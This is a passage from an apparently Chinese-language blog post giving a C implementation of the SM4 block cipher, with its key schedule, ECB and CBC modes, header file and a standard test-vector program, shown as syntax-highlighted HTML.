class="number">0xdc</span>, <span class="number">0x4d</span>, <span class="number">0x20</span>, <span class="number">0x79</span>, <span class="number">0xee</span>, <span class="number">0x5f</span>, <span class="number">0x3e</span>, <span class="number">0xd7</span>, <span class="number">0xcb</span>, <span class="number">0x39</span>, <span class="number">0x48</span> &#125;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* System parameter */</span></span><br><span class="line"><span class="keyword">static</span> <span class="keyword">const</span> <span class="keyword">unsigned</span> <span class="keyword">long</span> FK[<span class="number">4</span>] = &#123; <span class="number">0xa3b1bac6</span>, <span class="number">0x56aa3350</span>, <span class="number">0x677d9197</span>, <span class="number">0xb27022dc</span> &#125;;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* fixed parameter */</span></span><br><span class="line"><span class="keyword">static</span> <span class="keyword">const</span> <span class="keyword">unsigned</span> <span class="keyword">long</span> CK[<span class="number">32</span>] =</span><br><span class="line">&#123;</span><br><span class="line"><span class="number">0x00070e15</span>, <span class="number">0x1c232a31</span>, <span class="number">0x383f464d</span>, <span class="number">0x545b6269</span>,</span><br><span class="line"><span class="number">0x70777e85</span>, <span class="number">0x8c939aa1</span>, <span class="number">0xa8afb6bd</span>, <span class="number">0xc4cbd2d9</span>,</span><br><span class="line"><span class="number">0xe0e7eef5</span>, <span class="number">0xfc030a11</span>, <span class="number">0x181f262d</span>, <span class="number">0x343b4249</span>,</span><br><span class="line"><span class="number">0x50575e65</span>, <span class="number">0x6c737a81</span>, <span class="number">0x888f969d</span>, <span class="number">0xa4abb2b9</span>,</span><br><span class="line"><span class="number">0xc0c7ced5</span>, <span class="number">0xdce3eaf1</span>, <span class="number">0xf8ff060d</span>, <span class="number">0x141b2229</span>,</span><br><span class="line"><span class="number">0x30373e45</span>, <span class="number">0x4c535a61</span>, <span class="number">0x686f767d</span>, <span class="number">0x848b9299</span>,</span><br><span class="line"><span class="number">0xa0a7aeb5</span>, <span class="number">0xbcc3cad1</span>, <span class="number">0xd8dfe6ed</span>, <span class="number">0xf4fb0209</span>,</span><br><span class="line"><span class="number">0x10171e25</span>, <span class="number">0x2c333a41</span>, <span class="number">0x484f565d</span>, <span class="number">0x646b7279</span></span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment">* private function:</span></span><br><span class="line"><span class="comment">* look up in SboxTable and get the related value.</span></span><br><span class="line"><span class="comment">* args:    [in] inch: 0x00~0xFF (8 bits unsigned value).</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">unsigned</span> <span class="keyword">char</span> <span class="title">sm4Sbox</span><span class="params">(<span class="keyword">unsigned</span> <span class="keyword">char</span> inch)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="keyword">unsigned</span> <span class="keyword">char</span> *pTable = (<span class="keyword">unsigned</span> <span class="keyword">char</span> *)SboxTable;</span><br><span class="line"><span class="keyword">unsigned</span> <span class="keyword">char</span> retVal = (<span class="keyword">unsigned</span> <span class="keyword">char</span>)(pTable[inch]);</span><br><span class="line"><span class="keyword">return</span> retVal;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment">* private F(Lt) function:</span></span><br><span class="line"><span class="comment">* "T algorithm" == "L algorithm" + "t algorithm".</span></span><br><span class="line"><span class="comment">* args:    [in] a: a is a 32 bits unsigned value;</span></span><br><span class="line"><span class="comment">* return: c: c is calculated with line algorithm "L" and nonline algorithm "t"</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">unsigned</span> <span class="keyword">long</span> <span class="title">sm4Lt</span><span class="params">(<span class="keyword">unsigned</span> <span class="keyword">long</span> ka)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="keyword">unsigned</span> <span class="keyword">long</span> bb = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">unsigned</span> <span class="keyword">long</span> c = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">unsigned</span> <span class="keyword">char</span> a[<span class="number">4</span>];</span><br><span class="line"><span class="keyword">unsigned</span> <span class="keyword">char</span> b[<span class="number">4</span>];</span><br><span class="line">PUT_ULONG_BE(ka, a, <span class="number">0</span>)</span><br><span class="line">b[<span class="number">0</span>] = sm4Sbox(a[<span class="number">0</span>]);</span><br><span class="line">b[<span class="number">1</span>] = sm4Sbox(a[<span class="number">1</span>]);</span><br><span class="line">b[<span class="number">2</span>] = sm4Sbox(a[<span class="number">2</span>]);</span><br><span class="line">b[<span class="number">3</span>] = sm4Sbox(a[<span class="number">3</span>]);</span><br><span class="line">GET_ULONG_BE(bb, b, <span class="number">0</span>)</span><br><span class="line">c = bb ^ (ROTL(bb, <span class="number">2</span>)) ^ (ROTL(bb, <span class="number">10</span>)) ^ (ROTL(bb, <span class="number">18</span>)) ^ (ROTL(bb, <span class="number">24</span>));</span><br><span class="line"><span class="keyword">return</span> c;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment">* private F function:</span></span><br><span class="line"><span class="comment">* Calculating and getting encryption/decryption contents.</span></span><br><span class="line"><span class="comment">* args:    [in] x0: original contents;</span></span><br><span class="line"><span class="comment">* args:    [in] x1: original contents;</span></span><br><span class="line"><span class="comment">* args:    [in] x2: original contents;</span></span><br><span class="line"><span class="comment">* args:    [in] x3: original contents;</span></span><br><span class="line"><span class="comment">* args:    [in] rk: encryption/decryption key;</span></span><br><span class="line"><span class="comment">* return the contents of encryption/decryption contents.</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">unsigned</span> <span class="keyword">long</span> <span class="title">sm4F</span><span class="params">(<span class="keyword">unsigned</span> <span class="keyword">long</span> x0, <span class="keyword">unsigned</span> <span class="keyword">long</span> x1, <span class="keyword">unsigned</span> <span class="keyword">long</span> x2, <span class="keyword">unsigned</span> <span class="keyword">long</span> x3, <span class="keyword">unsigned</span> <span class="keyword">long</span> rk)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="keyword">return</span> (x0^sm4Lt(x1^x2^x3^rk));</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">/* private function:</span></span><br><span class="line"><span class="comment">* Calculating round encryption key.</span></span><br><span class="line"><span class="comment">* args:    [in] a: a is a 32 bits unsigned value;</span></span><br><span class="line"><span class="comment">* return: sk[i]: i&#123;0,1,2,3,...31&#125;.</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">unsigned</span> <span class="keyword">long</span> <span class="title">sm4CalciRK</span><span class="params">(<span class="keyword">unsigned</span> <span class="keyword">long</span> ka)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="keyword">unsigned</span> <span class="keyword">long</span> bb = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">unsigned</span> <span class="keyword">long</span> rk = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">unsigned</span> <span class="keyword">char</span> a[<span class="number">4</span>];</span><br><span class="line"><span class="keyword">unsigned</span> <span class="keyword">char</span> b[<span class="number">4</span>];</span><br><span class="line">PUT_ULONG_BE(ka, a, <span class="number">0</span>)</span><br><span class="line">b[<span class="number">0</span>] = sm4Sbox(a[<span class="number">0</span>]);</span><br><span class="line">b[<span class="number">1</span>] = sm4Sbox(a[<span class="number">1</span>]);</span><br><span class="line">b[<span class="number">2</span>] = sm4Sbox(a[<span class="number">2</span>]);</span><br><span class="line">b[<span class="number">3</span>] = sm4Sbox(a[<span class="number">3</span>]);</span><br><span class="line">GET_ULONG_BE(bb, b, <span class="number">0</span>)</span><br><span class="line">rk = bb ^ (ROTL(bb, <span class="number">13</span>)) ^ (ROTL(bb, <span class="number">23</span>));</span><br><span class="line"><span class="keyword">return</span> rk;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">void</span> <span class="title">sm4_setkey</span><span class="params">(<span class="keyword">unsigned</span> <span class="keyword">long</span> SK[<span class="number">32</span>], <span class="keyword">unsigned</span> <span class="keyword">char</span> key[<span class="number">16</span>])</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="keyword">unsigned</span> <span class="keyword">long</span> MK[<span class="number">4</span>];</span><br><span class="line"><span class="keyword">unsigned</span> <span class="keyword">long</span> k[<span class="number">36</span>];</span><br><span class="line"><span class="keyword">unsigned</span> <span class="keyword">long</span> i = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">GET_ULONG_BE(MK[<span class="number">0</span>], key, <span class="number">0</span>);</span><br><span class="line">GET_ULONG_BE(MK[<span class="number">1</span>], key, <span class="number">4</span>);</span><br><span class="line">GET_ULONG_BE(MK[<span class="number">2</span>], key, <span class="number">8</span>);</span><br><span class="line">GET_ULONG_BE(MK[<span class="number">3</span>], key, <span class="number">12</span>);</span><br><span class="line">k[<span class="number">0</span>] = MK[<span class="number">0</span>] ^ FK[<span class="number">0</span>];</span><br><span class="line">k[<span class="number">1</span>] = MK[<span class="number">1</span>] ^ FK[<span class="number">1</span>];</span><br><span class="line">k[<span class="number">2</span>] = MK[<span class="number">2</span>] ^ FK[<span class="number">2</span>];</span><br><span class="line">k[<span class="number">3</span>] = MK[<span class="number">3</span>] ^ FK[<span class="number">3</span>];</span><br><span class="line"><span class="keyword">for</span> (; i&lt;<span class="number">32</span>; i++)</span><br><span class="line">&#123;</span><br><span class="line">k[i + <span class="number">4</span>] = k[i] ^ (sm4CalciRK(k[i + <span class="number">1</span>] ^ k[i + <span class="number">2</span>] ^ k[i + <span class="number">3</span>] ^ CK[i]));</span><br><span class="line">SK[i] = k[i + <span class="number">4</span>];</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment">* SM4 standard one round processing</span></span><br><span class="line"><span class="comment">*</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">void</span> <span class="title">sm4_one_round</span><span class="params">(<span class="keyword">unsigned</span> <span class="keyword">long</span> sk[<span class="number">32</span>],</span></span></span><br><span class="line"><span class="function"><span class="params"><span class="keyword">unsigned</span> <span class="keyword">char</span> input[<span class="number">16</span>],</span></span></span><br><span class="line"><span class="function"><span class="params"><span class="keyword">unsigned</span> <span class="keyword">char</span> output[<span class="number">16</span>])</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="keyword">unsigned</span> <span class="keyword">long</span> i = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">unsigned</span> <span class="keyword">long</span> ulbuf[<span class="number">36</span>];</span><br><span class="line"></span><br><span class="line"><span class="built_in">memset</span>(ulbuf, <span class="number">0</span>, <span class="keyword">sizeof</span>(ulbuf));</span><br><span class="line">GET_ULONG_BE(ulbuf[<span class="number">0</span>], input, <span class="number">0</span>)</span><br><span class="line">GET_ULONG_BE(ulbuf[<span class="number">1</span>], input, <span class="number">4</span>)</span><br><span class="line">GET_ULONG_BE(ulbuf[<span class="number">2</span>], input, <span class="number">8</span>)</span><br><span class="line">GET_ULONG_BE(ulbuf[<span class="number">3</span>], input, <span class="number">12</span>)</span><br><span class="line"><span class="keyword">while</span> (i&lt;<span class="number">32</span>)</span><br><span class="line">&#123;</span><br><span class="line">ulbuf[i + <span class="number">4</span>] = sm4F(ulbuf[i], ulbuf[i + <span class="number">1</span>], ulbuf[i + <span class="number">2</span>], ulbuf[i + <span class="number">3</span>], sk[i]);</span><br><span class="line"><span class="comment">// #ifdef _DEBUG</span></span><br><span class="line"><span class="comment">//        printf("rk(%02d) = 0x%08x,  X(%02d) = 0x%08x \n",i,sk[i], i, ulbuf[i+4] );</span></span><br><span class="line"><span class="comment">// #endif</span></span><br><span class="line">i++;</span><br><span class="line">&#125;</span><br><span class="line">PUT_ULONG_BE(ulbuf[<span class="number">35</span>], output, <span class="number">0</span>);</span><br><span class="line">PUT_ULONG_BE(ulbuf[<span class="number">34</span>], output, <span class="number">4</span>);</span><br><span class="line">PUT_ULONG_BE(ulbuf[<span class="number">33</span>], output, <span class="number">8</span>);</span><br><span class="line">PUT_ULONG_BE(ulbuf[<span class="number">32</span>], output, <span class="number">12</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment">* SM4 key schedule (128-bit, encryption)</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">sm4_setkey_enc</span><span class="params">(sm4_context *ctx, <span class="keyword">unsigned</span> <span class="keyword">char</span> key[<span class="number">16</span>])</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">ctx-&gt;mode = SM4_ENCRYPT;</span><br><span class="line">sm4_setkey(ctx-&gt;sk, key);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment">* SM4 key schedule (128-bit, decryption)</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">sm4_setkey_dec</span><span class="params">(sm4_context *ctx, <span class="keyword">unsigned</span> <span class="keyword">char</span> key[<span class="number">16</span>])</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="keyword">int</span> i;</span><br><span class="line">ctx-&gt;mode = SM4_ENCRYPT;</span><br><span class="line">sm4_setkey(ctx-&gt;sk, key);</span><br><span class="line"><span class="keyword">for</span> (i = <span class="number">0</span>; i &lt; <span class="number">16</span>; i++)</span><br><span class="line">&#123;</span><br><span class="line">SWAP(ctx-&gt;sk[i], ctx-&gt;sk[<span class="number">31</span> - i]);</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment">* SM4-ECB block encryption/decryption</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">sm4_crypt_ecb</span><span class="params">(sm4_context *ctx,</span></span></span><br><span class="line"><span class="function"><span class="params"><span class="keyword">int</span> mode,</span></span></span><br><span class="line"><span class="function"><span class="params"><span class="keyword">int</span> length,</span></span></span><br><span class="line"><span class="function"><span class="params"><span class="keyword">unsigned</span> <span class="keyword">char</span> *input,</span></span></span><br><span class="line"><span class="function"><span class="params"><span class="keyword">unsigned</span> <span class="keyword">char</span> *output)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="keyword">while</span> (length &gt; <span class="number">0</span>)</span><br><span class="line">&#123;</span><br><span class="line">sm4_one_round(ctx-&gt;sk, input, output);</span><br><span class="line">input += <span class="number">16</span>;</span><br><span class="line">output += <span class="number">16</span>;</span><br><span class="line">length -= <span class="number">16</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment">* SM4-CBC buffer encryption/decryption</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">sm4_crypt_cbc</span><span class="params">(sm4_context *ctx,</span></span></span><br><span class="line"><span class="function"><span class="params"><span class="keyword">int</span> mode,</span></span></span><br><span class="line"><span class="function"><span class="params"><span class="keyword">int</span> length,</span></span></span><br><span class="line"><span class="function"><span class="params"><span class="keyword">unsigned</span> <span class="keyword">char</span> iv[<span class="number">16</span>],</span></span></span><br><span class="line"><span class="function"><span class="params"><span class="keyword">unsigned</span> <span class="keyword">char</span> *input,</span></span></span><br><span class="line"><span class="function"><span class="params"><span class="keyword">unsigned</span> <span class="keyword">char</span> *output)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="keyword">int</span> i;</span><br><span class="line"><span class="keyword">unsigned</span> <span class="keyword">char</span> temp[<span class="number">16</span>];</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (mode == SM4_ENCRYPT)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">while</span> (length &gt; <span class="number">0</span>)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">for</span> (i = <span class="number">0</span>; i &lt; <span class="number">16</span>; i++)</span><br><span class="line">output[i] = (<span class="keyword">unsigned</span> <span class="keyword">char</span>)(input[i] ^ iv[i]);</span><br><span class="line"></span><br><span class="line">sm4_one_round(ctx-&gt;sk, output, output);</span><br><span class="line"><span class="built_in">memcpy</span>(iv, output, <span class="number">16</span>);</span><br><span class="line"></span><br><span class="line">input += <span class="number">16</span>;</span><br><span class="line">output += <span class="number">16</span>;</span><br><span class="line">length -= <span class="number">16</span>;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span> <span class="comment">/* SM4_DECRYPT */</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">while</span> (length &gt; <span class="number">0</span>)</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">memcpy</span>(temp, input, <span class="number">16</span>);</span><br><span class="line">sm4_one_round(ctx-&gt;sk, input, output);</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> (i = <span class="number">0</span>; i &lt; <span class="number">16</span>; i++)</span><br><span class="line">output[i] = (<span class="keyword">unsigned</span> <span class="keyword">char</span>)(output[i] ^ iv[i]);</span><br><span class="line"></span><br><span class="line"><span class="built_in">memcpy</span>(iv, temp, <span class="number">16</span>);</span><br><span class="line"></span><br><span class="line">input += <span class="number">16</span>;</span><br><span class="line">output += <span class="number">16</span>;</span><br><span class="line">length -= <span class="number">16</span>;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>sm4.h头文件，mode选择加密模式</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment">* \file sm4.h</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">ifndef</span> XYSSL_SM4_H</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> XYSSL_SM4_H</span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> SM4_ENCRYPT     1</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> SM4_DECRYPT     0</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment">* \brief          SM4 context structure</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span></span></span><br><span class="line"><span class="class">&#123;</span></span><br><span class="line"><span class="keyword">int</span> mode;                   <span class="comment">/*!&lt;  encrypt/decrypt   */</span></span><br><span class="line"><span class="keyword">unsigned</span> <span class="keyword">long</span> sk[<span class="number">32</span>];       <span class="comment">/*!&lt;  SM4 subkeys       */</span></span><br><span class="line">&#125;</span><br><span class="line">sm4_context;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">ifdef</span> __cplusplus</span></span><br><span class="line"><span class="keyword">extern</span> <span class="string">"C"</span> &#123;</span><br><span class="line"><span class="meta">#<span class="meta-keyword">endif</span></span></span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment">* \brief          SM4 key schedule (128-bit, encryption)</span></span><br><span class="line"><span class="comment">*</span></span><br><span class="line"><span class="comment">* \param ctx      SM4 context to be initialized</span></span><br><span class="line"><span class="comment">* \param key      16-byte secret key</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">sm4_setkey_enc</span><span class="params">(sm4_context *ctx, <span class="keyword">unsigned</span> <span class="keyword">char</span> key[<span class="number">16</span>])</span></span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment">* \brief          SM4 key schedule (128-bit, decryption)</span></span><br><span class="line"><span class="comment">*</span></span><br><span class="line"><span class="comment">* \param ctx      SM4 context to be initialized</span></span><br><span class="line"><span class="comment">* \param key      16-byte secret key</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">sm4_setkey_dec</span><span class="params">(sm4_context *ctx, <span class="keyword">unsigned</span> <span class="keyword">char</span> key[<span class="number">16</span>])</span></span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment">* \brief          SM4-ECB block encryption/decryption</span></span><br><span class="line"><span class="comment">* \param ctx      SM4 context</span></span><br><span class="line"><span class="comment">* \param mode     SM4_ENCRYPT or SM4_DECRYPT</span></span><br><span class="line"><span class="comment">* \param length   length of the input data</span></span><br><span class="line"><span class="comment">* \param input    input block</span></span><br><span class="line"><span class="comment">* \param output   output block</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">sm4_crypt_ecb</span><span class="params">(sm4_context *ctx,</span></span></span><br><span class="line"><span class="function"><span class="params"><span class="keyword">int</span> mode,</span></span></span><br><span class="line"><span class="function"><span class="params"><span class="keyword">int</span> length,</span></span></span><br><span class="line"><span class="function"><span class="params"><span class="keyword">unsigned</span> <span class="keyword">char</span> *input,</span></span></span><br><span class="line"><span class="function"><span class="params"><span class="keyword">unsigned</span> <span class="keyword">char</span> *output)</span></span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment">* \brief          SM4-CBC buffer encryption/decryption</span></span><br><span class="line"><span class="comment">* \param ctx      SM4 context</span></span><br><span class="line"><span class="comment">* \param mode     SM4_ENCRYPT or SM4_DECRYPT</span></span><br><span class="line"><span class="comment">* \param length   length of the input data</span></span><br><span class="line"><span class="comment">* \param iv       initialization vector (updated after use)</span></span><br><span class="line"><span class="comment">* \param input    buffer holding the input data</span></span><br><span class="line"><span class="comment">* \param output   buffer holding the output data</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">sm4_crypt_cbc</span><span class="params">(sm4_context *ctx,</span></span></span><br><span class="line"><span class="function"><span class="params"><span class="keyword">int</span> mode,</span></span></span><br><span class="line"><span class="function"><span class="params"><span class="keyword">int</span> length,</span></span></span><br><span class="line"><span class="function"><span class="params"><span class="keyword">unsigned</span> <span class="keyword">char</span> iv[<span class="number">16</span>],</span></span></span><br><span class="line"><span class="function"><span class="params"><span class="keyword">unsigned</span> <span class="keyword">char</span> *input,</span></span></span><br><span class="line"><span class="function"><span class="params"><span class="keyword">unsigned</span> <span class="keyword">char</span> *output)</span></span>;</span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">ifdef</span> __cplusplus</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="meta">#<span class="meta-keyword">endif</span></span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">endif</span> <span class="comment">/* sm4.h */</span></span></span><br></pre></td></tr></table></figure><p>测试代码</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// test.c</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;string.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"sm4.h"</span></span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="keyword">unsigned</span> <span class="keyword">char</span> key[<span class="number">16</span>] = &#123; <span class="number">0x01</span>, <span class="number">0x23</span>, <span class="number">0x45</span>, <span class="number">0x67</span>, <span class="number">0x89</span>, <span class="number">0xab</span>, <span class="number">0xcd</span>, <span class="number">0xef</span>, <span class="number">0xfe</span>, <span class="number">0xdc</span>, <span class="number">0xba</span>, <span class="number">0x98</span>, <span class="number">0x76</span>, <span class="number">0x54</span>, <span class="number">0x32</span>, <span class="number">0x10</span> &#125;;</span><br><span class="line"><span class="keyword">unsigned</span> <span class="keyword">char</span> input[<span class="number">16</span>] = &#123; <span class="number">0x01</span>, <span class="number">0x23</span>, <span class="number">0x45</span>, <span class="number">0x67</span>, <span class="number">0x89</span>, <span class="number">0xab</span>, <span class="number">0xcd</span>, <span class="number">0xef</span>, <span class="number">0xfe</span>, <span class="number">0xdc</span>, <span class="number">0xba</span>, <span class="number">0x98</span>, <span class="number">0x76</span>, <span class="number">0x54</span>, <span class="number">0x32</span>, <span class="number">0x10</span> &#125;;</span><br><span class="line"><span class="keyword">unsigned</span> <span class="keyword">char</span> output[<span class="number">16</span>];</span><br><span class="line">sm4_context ctx;</span><br><span class="line"><span class="keyword">unsigned</span> <span class="keyword">long</span> i;</span><br><span class="line"></span><br><span class="line"><span class="comment">//encrypt standard testing vector</span></span><br><span class="line">sm4_setkey_enc(&amp;ctx, key);</span><br><span class="line">sm4_crypt_ecb(&amp;ctx, <span class="number">1</span>, <span class="number">16</span>, input, output);</span><br><span class="line"><span class="keyword">for</span> (i = <span class="number">0</span>; i&lt;<span class="number">16</span>; i++)</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"%02x "</span>, output[i]);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"\n"</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">//解密测试</span></span><br><span class="line">sm4_setkey_dec(&amp;ctx, key);</span><br><span class="line">sm4_crypt_ecb(&amp;ctx, <span class="number">0</span>, <span class="number">16</span>, output, output);</span><br><span class="line"><span class="keyword">for</span> (i = <span class="number">0</span>; i&lt;<span class="number">16</span>; i++)</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"%02x "</span>, output[i]);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"\n"</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">//decrypt 1M times testing vector based on standards.</span></span><br><span class="line">i = <span class="number">0</span>;</span><br><span class="line">sm4_setkey_enc(&amp;ctx, key);</span><br><span class="line"><span class="keyword">while</span> (i&lt;<span class="number">1000000</span>)</span><br><span class="line">&#123;</span><br><span class="line">sm4_crypt_ecb(&amp;ctx, <span class="number">1</span>, <span class="number">16</span>, input, input);</span><br><span class="line">i++;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">for</span> (i = <span class="number">0</span>; i&lt;<span class="number">16</span>; i++)</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"%02x "</span>, input[i]);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"\n"</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> <span 